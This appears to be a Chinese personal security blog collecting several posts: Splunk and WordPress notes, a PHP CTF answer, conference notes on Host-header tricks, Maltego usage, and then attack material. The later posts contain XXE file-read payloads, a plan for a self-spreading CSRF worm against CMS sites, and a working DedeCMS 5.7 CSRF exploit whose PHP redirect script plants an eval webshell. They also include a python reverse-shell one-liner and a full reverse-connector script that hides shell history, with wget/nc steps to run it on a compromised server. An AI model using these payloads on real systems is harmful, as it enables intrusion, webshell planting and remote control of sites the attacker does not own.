splunk入门笔记

#http://www.freebuf.com/articles/database/123006.html

wget -c https://download.splunk.com/products/splunk/releases/6.5.1/linux/splunk-6.5.1-f74036626f0c-Linux-x86_64.tgz
tar -zxvf splunk-6.5.1-f74036626f0c-Linux-x86_64.tgz
cd /splunk/bin/ && ./splunk start –accept-license

./splunk
#start //启动splunk
#–accept-license //自动接收许可
#restart //重启splunk
#status //查看splunk状态
#version //查看splunk版

http://127.0.0.1:8000
#默认8000端口
#进入splunk默认的管理员为:admin 密码为changeme;第一登录便会强制要求修改密码

#SSL配置
./splunk enable web-ssl //启用SSL
./splunk disable web-ssl //禁用SSL

#默认字段:
#index(指定特定索引),
#host(指定host 主机),
#sourcetype(数据源类型),
#source(日志文件路径)

#source=”access_log” host=”0535coder” sourcetype=”access_combined” #默认出来的搜索
#source=”tutorialdata.zip:*” index=”tutorialdata” #字段列表
##########source设置日志路径,host设置主机名,index设置索引名
##########当一份日志含有多个域名时,用index做区分

source=”access_log” host=”0535coder” | top clientip #客户端ip top10
source=”access_log” host=”0535coder” status > 200 | stats count by status # response stats top

index=*** uri=”*/login/userlogin.shtml*” | top ip #top ip

source=”logs.zip:*” index=”tutorialdata” sourcetype=access_common clientip=”127.0.0.1″ select sleep

201612升级日志

原来没想太多,只是想备份下,无意间居然发现一个菠菜链寄生虫,还好没权限做坏事,删掉就好了,查了下是在去掉防御代码与切换加速乐周期时间段写入的,中间也转移过别的vps上,也没有日志,不查详情了!

这次升级合并了多个不同项目的 config.php
然后看网上说的wordpress本地化,要执行好几条sql,想了个简单的方法,直接用notepad++ 替换就好了;
把 http://0535code.com 替换为 http://127.0.0.1好了,修改下数据库连接直接本地化了!

以前在线编辑的代码有BOM,也是使用notepad++替换
把站点根目录文件夹搜索 \s*\n 替换为 \n

上面替换时忘记选文件类型了,结果图片的空行也被替换了,又复制回备份文件重新替换了下
本来想也把静态引用资源也合并下,减少冗余代码,节省空间,再想了下,那样做的话不方便移植,就没操作了!

然后本地手工做了升级,中间奇怪,wordpress升级数据库时把本地环境给搞崩溃了,调试半天没搞定,重装了下phpstudy才好了!
手工升级也遇到过一些问题,这里记录下顺序:
站点下除了wp-content目录外的所有文件都删掉,用新版的覆盖;
然后访问 /wp-admin/upgrade.php 升级数据库!

增加了上传图片添加水印DX-Watermark、添加文章自动提交百度插件百度sitemap;
这次把 phpweb建站系统单独分离出去了、phpweb建站系统采用zend加密,搞半天一直报错,心中有千万个草泥马在沸腾着,最后想起zend加密后,通过ftp传的要选择二进制方式传输,就一个config.inc.php 没有使用二进制模式传输,一直报common.php 0行有错误,之后重新选择二进制模式下载了该文件才解决了!
经常会用一些小工具,放在各种位置的都有,于是增加了 /tools/ 目录工具源,常用调试代码都放这里好了,做了个自动检索目录文件的index.php,方便浏览源代码!
之前由于phhweb的需要,要开启全局变量参数,这下迁移出去了,把全局变量参数关闭了;
这次主要还增加了一个插件 Codecolorer,为了便于吃瓜群众去吃瓜、偶尔自己也要吃瓜,就增加了代码样式插件,中间有的文章内容里有python代码,python比较规范,少一个空格都不行,有可能改的有些会有问题,有问题自己调试去吧!

本地化后,发现一些中文命名的图片会不显示,于是找到乱码文件名的图片,找到对应的文章,把图片路径修改了;
QQ聊天习惯了,没有表情是不方便,然后在评论和后台里添加了QQ表情、网上查的也遇到过问题、写的不完整,不过最终还是搞定了,用开源就是为了节省时间,不用自己开发浪费时间和精力呢!
启用评论功能,增加Akismet插件,#https://akismet.com/wordpress/
还想把谷歌广告去掉,只留下百度广告,等有时间再弄把,一次备份弄了这么多,已经身心疲惫了。。。 😥 😥 😥

vmware10 体验黑苹果之旅

网上终于找到一个vmware10的镜像、http://pan.baidu.com/share/link?shareid=2936567012&uk=1728373928 本来以为就不用其他繁琐的流程了,发现开机时一直在开机画面不动,之后才晓得,原来要安装apple支持插件才行(unlock-all-v120)。密码123

然后重新下载了个 cdr镜像安装了下:
1.安装unlock-all-v120;
2.按照正常的新建虚拟机选择apple os,安装过程中会遇到提示磁盘不足,这时要在顶部的 实用工具->磁盘管理,里面把分的虚拟机磁盘给抹掉,然后就会出来一块磁盘,选这块磁盘继续安装就好了;
3.安装VMware Tools darwin6,然后就搞定了。

:mrgreen:

一道PHP关于CTF的答案

<?php
$str = intval($_GET['id']);//获取参数id
$reg = preg_match('/\d/is', $_GET['id']);//匹配所有字符,不区分大小写
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){//参数不为数字且参数不等于但是参数又必须等于1
echo 'Flag';
}else{
echo "<img src='./1.jpg'>";
}
?>

题目是要求显示出 flag,默认显示图片、、、
这里就有三个必须的条件了;
答案是:id[]=1
 

参加中国互联网安全领袖峰会2016后感

上午的会议基本没啥,都是一些学术界的讲解、不过有个网安,上去讲了两点蛮好的,第一就是之前出现的商城返现、之前有个朋友问过我,说有一个商城,花钱买120快钱的东西,每个月会返10元,这样一年就返回来了,买东西不花钱,而且推荐别人的话会提高返现,别人赚什么钱呢,只能是感觉不正常,因为长此下去,钱都在网络服务商那里了,主要问题就是他们拿这笔钱怎么去赚钱,理财的话应该也赚不到这么高,风险是蛮大的,没推荐哪个朋友投资,感觉不靠谱,上午网安给解开了商城返现的面纱,这个属于诈骗,在深圳那边一个月时间通过这个非法获取一千多万元,然后关闭了商城。还有一个是说的黑产中洗钱的过程,会存到一个企业账户,然后通过这个账户分发给几个不同的小银行账户,然后再把钱弄到国外一些赌场,之后再从赌场把钱洗回来,听着流程比较复杂,实际操作起来速度非常快,一点都不慢,这种洗钱方式很高级,几乎是没有办法抓的。

下午比较好,安全极客秀,开场是王琦大神、差点以为他要演示ios的漏洞,他只是说了下他创业了,现在研究的都是一些拿到系统权限的高危漏洞。说了句比较经典的话:“过去PC端发现的漏洞一定会出现在移动端,现在移动端出现的漏洞,未来一定会出现在物联网中!”,很经典的话,确实如此,之后就开始上场了;

第一个是win10下利用一个PDF的缓冲区溢出漏洞,原本仅有缓冲区溢出漏洞,在win10下溢出代码是执行不了,看了讲解了正常情况下实现不了,通过找win内核的api绕过了读写地址达到任意代码执行的效果;
第二个漏洞是安卓的,没有公开细节,只是说了是通过安卓的第三方驱动进行提权的,也是不是直接实现的,发现第三方驱动有漏洞后,还要想办法绕过特定函数;
第三个智能机器人的远程代码执行、这个也比较辣手,是用web api实现的,但是找过web常见漏洞都没有,不晓得通过哪里招到的远程代码执行漏洞,可以任意控制机器人,这个也是未公开的漏洞,只是演示了以下效果;
第四个是索尼PS4越狱,作者也未公开过越狱代码、主要是讲了下发现漏洞的过程,在新版本越狱漏洞之前,先把之前的越狱漏洞都细细的看过了,再去越狱、遇到问题后,问团队,朋友,推荐了一个函数,然后作者就开始细细的研究了,最终实现了越狱;
第五个还是一个机器人,利用机器人去盗取电脑的资料,这个技术难点主要在机器人上,作者花了3000成本自己开发的机器人,比较牛叉、虽然机器人长的有点丑,但是电脑操作的功能都实现了、
第六个是一个博士,讲解了host的各种玩法,这个比较实用,可是初步判断,会遇到缓存污染,如果要getshell需要结合其他漏洞一起利用才会比较有价值,有下面技巧:

技巧1:多个不同的host头
GET / HTTP/1.1
Host a.com
Host b.com
然后执行流程是 客户端请求 -> a.com -> b.com,在不同中间件中解析的不一样;
HTTP标准:RFC 2616 隐式要求拒绝多Host头, RFC 7230 明确要求拒绝多Host

技巧2:host头前后增加空格
GET / HTTP/1.1
【空格】Host a.com【空格】
【空格】Host b.com【空格】
在host头前后加入空格,可以进行CDN缓存污染、防火墙绕过等,缓存污染要加入Doesnt:matter字段,然后把attack.com前或后置空格

技巧3:request-URL是绝对路径
GET http://a.com HTTP/1.1
host b.com
会遇到先加载前面后加载后面,再或者先加载后面,再加载前面的情况,比如waf绕过。

这次会议,安全极客们分享了几个CVE,深有感触:

1.坚信程序一定存在漏洞!
因为这几个CVE都不是通过一个技术点直接提权的,至少都是3个技术点绕过,最后才提权了,或许很多人只发现了第一个漏洞,后面的没有继续进行下去,后面的进行下去了,还有后面,一道一道的门槛,总是有绕过的方法,要坚信程序一定存在漏洞,看是否能找得到。

2.每一个细节可能存在漏洞!
最后在博士分享http协议的时候,居然通过http协议的host头可以做那么多事情,绕过防火墙,绕过waf,一般人都不会检查的这么细,在host头前后加入空格,利用host的歧义做很多事情,研究的深度不一样,有时或许不一定是要大千世界,什么都懂,只要大千世界,无所不能就ok。在一线城市不在于会多少,而在于多人少不会,而你会,这就是专家了。

3.一定要有自己的技术圈!
忘记是第几个漏洞了,分享的时候,主要是一个思路,自己发现漏洞了,但是获取不到系统权限,然后技术圈的人推荐他看一个函数,之后是由于看了这个函数才可以提权的,一个人不能万能的,国内乌云、90sec、t00l也都是要共享自己的研究成果,才可以看别人的研究成果,国内hacker的话,在里面建立自己的圈子貌似不错。

还有好多好多要学习的和具备的,要学习的不怕不怕佬、通过学习解决不了具备的才是可怕的。

KaLi 信息收集 maltogo 使用

maltogo是一款自动化信息收集工具,比较强大,网络拓扑图、ip、e-mail等等信息、还提供了很多插件,目前没有用到过插件功能,注册的话,要翻墙去注册,https://www.paterva.com/web7/buy/maltego-clients/maltego-ce.php,我们使用的是免费版CE,需要在这里点击registration(https://www.paterva.com/web7/community/community.php)去注册账户,我以前注册过了,忘记的话,通过注册页面的Reset Password重设密码,如下:

maltogo-register
maltogo-register

没有注册过的,翻墙通过第一个面板去注册个账户好了,注册好后,在kali中打开直接输入登陆账户和密码好了,验证账户密码不需要翻墙。这里有一篇介绍的文章:http://wifibeta.com/2012-03/thread-675-1-1.html,不过介绍的还是比较少、、、安装成功后,如下:

maltogo -welcome
maltogo -welcome

先介绍菜单:
investigate # 情报搜集面板
magage #管理面板,主要是升级或者修改默认配置信息
view # 显示视图,主要是显示相关的配置
organize # 主要是结果拓扑图的显示方式
machines # 项目策略,也可以通过向导方式建立
collaboration # 与windows系统协同使用

基础的使用到的是第一个菜单investigate,上下左右充满各种菜单、功能是太多。

点左上角的 + 号,新建项目,然后在空白的面板双击或右击,会弹出 start a Machine向导,会有10多个选项要求选择:
company Stalker # 搜集公司信息
find wikipedia edits # 搜集维基百科编辑的信息
footprint L* # *代表1-3,搜集的level的等级
footprint XXL #使用本机内置的配置
person email address #搜集email和ip信息
prune? leaf entities # 左侧面板选项自定义,默认不选定
twitter digger X # 通过twitter搜集信息
twitter digger Y # 通过twitter搜集信息,扩展附属分析结果
twitter monitor # 监控twitter
URL To Network And Domain Information #通过网址搜集网络和域名信息

然后下面还有两个复选按钮:

Show on startup # 启动时显示
Show on empty graph click #控制面板为空时显示

一般我选第二个,启动的时候就不用弹出来了。至于扫描选项的话,目前我是选的footprint L1,还有左侧的面板十分强大,右面的面板可以更改项目的一些属性,和vb6.0的IDE环境有点像、底部的是运行日志、可以设置日志显示的字段、
 

XXE之外部XML实体注入笔记

#转义后利用php伪协议+base64编码绕过
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE entity [
<!ENTITY file SYSTEM ENTITY e SYSTEM “php://filter/read=convert.base64-encode/resource=http://wiki.wooyun.org”>
]>
<wooyun>
<external>&file;</external>
</wooyun>

#XXE盲注:构造本地xml接口,先包含本地xml文件,查看返回结果,正常返回后再换为服务器。

##漏洞扫描与发现

1.检测XML是否被解析
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE ANY [
<!ENTITY xxe “xxe test”>
]>
<root>&xxe;</root>
如果显示了xxe test证明支持,进行第二步;

2.是否支持外部实体
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE ANY [
<!ENTITY % xxe SYSTEM “http://192.168.5.1/xxe.xml”>
%xxe;
]>

不能回显,则使用Blind XXE攻击方法 。

CSRF技巧之蠕虫病毒传播和利用

之前有分析过某CMS通过友情链接触发csrf而getshell,很简单仅仅是一个csrf漏洞而已。条件有限的前提下getshell,获取管理员权限等、

首先第一类人群,做网络营销的人,很多人都会用cms去搭建站点,而且这很多cms为了提供强大的功能,提供了文件编辑功能,就触发这个csrf的编辑功能,如果单独给某个cms提出后台的csrf功能,肯定都是不认可的,是因为没被入侵过,没有引起重视,以前我也曾这样想,直到为了getshell一个站,发现csrf可以这么强大。

回到网络营销群体中去,做网络营销的网站都会具有两个特征:
第一,他们大部分都是用开源的cms搭建的站点;
第二,他们比较重视友情链接;(通常会通过自己网站的友情链接,点击检查对方是否撤销了自己的链接)
正是这两个条件,导致csrf病毒可以持续传播,还有一种放大的可能性,getshell一个大站,只要登陆当前网站的,访问过被getshell大站的csrf蠕虫页面,都可以被getshell、

拿dedecms案例来说,前台有个申请友情链接的功能,申请后直接到后台了,如果打开这个链接,会直接被getshell,这仅仅是csrf的利用,如果拿到shell后,自动回调python脚本,在模版页面的公共引用部分,加入js代码,这段js代码的意义是获取referer,并且做通过接口快速做指纹识别,返回相应的csrf请求,直接getshell,那么如果有的站长当前是在登陆状态,而且web指纹在js回调是被识别的,可以直接被getshell。如此循环下去,形成了一个csrf蠕虫病毒。而且都是getshell的噢、
有的觉得wordpress是知名cms,可能不会存在,,wordpress虽然没有提供申请友情链接的功能,但是有评论功能,评论后,或者在后台审核,或者可以直接通过,站长在审核的时候,相信很多站长都会依赖浏览器的一个功能,直接选中,右键转到该网站,又被利用了吧、
如果实在不行,可以xsrf,网站后台中有个添加统计代码功能通过统计代码里面添加外部js触发xss漏洞,又一个被利用的可能性。
上述仅是一个利用思路,并未落实,如果真要搞的话,预计很多站都会沦陷、、、

灰盒测试之织梦dedecms 5.7 官网最新版 Getshell

很久之前一直用dedecms做二次开发、直接做模版就好了,偶尔要写原生的php代码与dede交互,简单的了解了下里面的model,并未深入,dedecms漏洞那么多、、、能不能也找出一个漏洞呢。 下载了官网最新的程序研究了下。

在前台有个提交友情链接的地方,链接是:/plus/flink_add.php,估计以前可能这里存在xss的吧。反正现在是修复了,不过发现传入的链接,在后台可以直接打开,这样就可以结合csrf进一步利用了。

dede-%e6%bc%8f%e6%b4%9e

然后这里网址的,默认有http://,也猜到了是提醒这是个http链接,后端没有判断,登陆后台看了下,果然是直接插入进去的:

<tr align="center" bgcolor="#FFFFFF" height="26" onMouseMove="javascript:this.bgColor='#FCFDEE';"onMouseOut="javascript:this.bgColor='#FFFFFF';">
          <td><input type='checkbox' name='aids' value='12' class='np'></td>
          <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'>&amp;lt;sc&lt;x&gt;ript&amp;gt;alert(1)&amp;lt;/scr</a></td>
          <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'><img src='&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;' width='88' height='31' border='0' /></a></td>
          <td>&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;</td>
          <td>2016-11-04</td>
          <td>未审核</td>
          <td>50</td>
          <td><a href='friendlink_edit.php?id=12&dopost=getedit'>[更改]</a><a href='friendlink_edit.php?id=12&dopost=delete'>[删除]</a></td>
        </tr>

这样证明了可以做诱导链接了,然后下一步要找csrf可利用的功能,在后台发现一个标签编辑功能里的,dedecms好多地方都是用requests获取的值,不区分get、post,原来是post的,如果post在这肯定构造不成功,get的话,就可以借助csrf一起getshell了。

csrf 诱导 exp链接:./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php? #在当前路径执行这个get请求,写入一句话。

dede-csrf
然后就提交了,提交后,后台管理员看到的是这个样子的:

dede-csrf-exp

这里就看怎么诱导管理员点击了,一般人看不懂代码,如果点击了,会在 /include/taglib/ 目录下生成一句话 hacker.lib.php,有句话说好奇害死猫,确实是,天上那有掉馅饼的事,别贪便宜,不然容易出事。

就在最后要成功getshell的时候,发生了意外,发现网站名称的href字典限制了长度,把传入的./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php截断为./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?ph,并没有过滤,看来是限制了字符个数、还是不放弃,产生了另一种好玩的想法,感觉要比这个好玩。

一般后台审核友情链接的人都会看下网站权重,然后决定是否通过审核,这一看就会触发漏洞了。通过分析,需要填一个真实的url,而这个url要获取到referer,然后拼接url重定向,这样就可以实现getshell了,而且还可以在后端做个邮件提醒。方便知道那个站已经getshell了。

然后开始写代码了,这里费了不少时间,主要是一个问题,把代码解析为字符串,用php试过转义、字符串转化等都不成功,最后用序列化函数成功了,但是不完整,程序员的做法应该是序列化和反序列化吧,然后我使用单个字符拼接,解决了问题,其实还可以用ascii码去搞定、原来那些写各种一句话的真不容易,要对语言的任何地方都要了解,不然遇到很多未知的问题。

$exp?= ‘tpl.php?action=savetagfile&actiondo=addnewtag&content=’.@eval($_POST[‘c’]).’&filename=hcaker.lib.php’;
//如果您有更好的办法,欢迎提供给我。
然后php做CSRF中转的代码如下:
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=hacker.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();

然后就重新开始咯,在友情链接里面添加exp友情链接:http://******.com/exp.php

对方只要访问了,就自动生成 include/taglib/hacker.lib.php噢、上面没有写e-mail通知代码。

getshell-dedecms
getshell-dedecms

之后发现有的cms会限制只允许输入域名,这也没关系,申请个域名,默认就是/index.php,一样可以getshell,还有的为了防止csrf,在请求中加了token令牌验证,这种是有可能被绕过的,绕过几率为80%,下次有机会实现js无刷新获取token令牌getshell。。。

一次GETSHELL事件(利用python反弹shell)

某站由于接口文档存在命令执行漏洞,而命令执行的权限是tomcat,有些是操作不了的。比如echo hack.php > <? eval($_POST[‘c’])?>,如果通过jsp获取webshell,需要找到可执行目录,或者修改web.xml,反正对这个不熟悉,某牛给了一个思路,反弹shell,奔着getshell的目的终于getshell了。

先通过nc监听端口,nc -l -p 5210 ,这个需要外网做映射,内网的话需要通过路由器做多次映射,直接用VPS了,然后把py代码执行下就好了。

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“*****.com”,5210));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

然后就可以反弹回shell了,这种方式因为缩进会产生问题,试了几次不成功,还是用某牛的python脚本吧。顺便给公开下反弹代码:

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by hero
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
    print 'python reverse connector'
    print 'usage: %s <ip_addr> <port>' % name

def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()

if __name__ == '__main__':
    main()

使用方式: python shell.py *****.com 5210

#pwd 查路径
#wget http://***.com/shell.py -O /root/hacker.py #web权限下载shell
#在***.com服务器开始监听, nc -l -p 5210
#python hacker.py ***.com 5210 #反弹shell,去服务器检查是否反弹,搞定!!!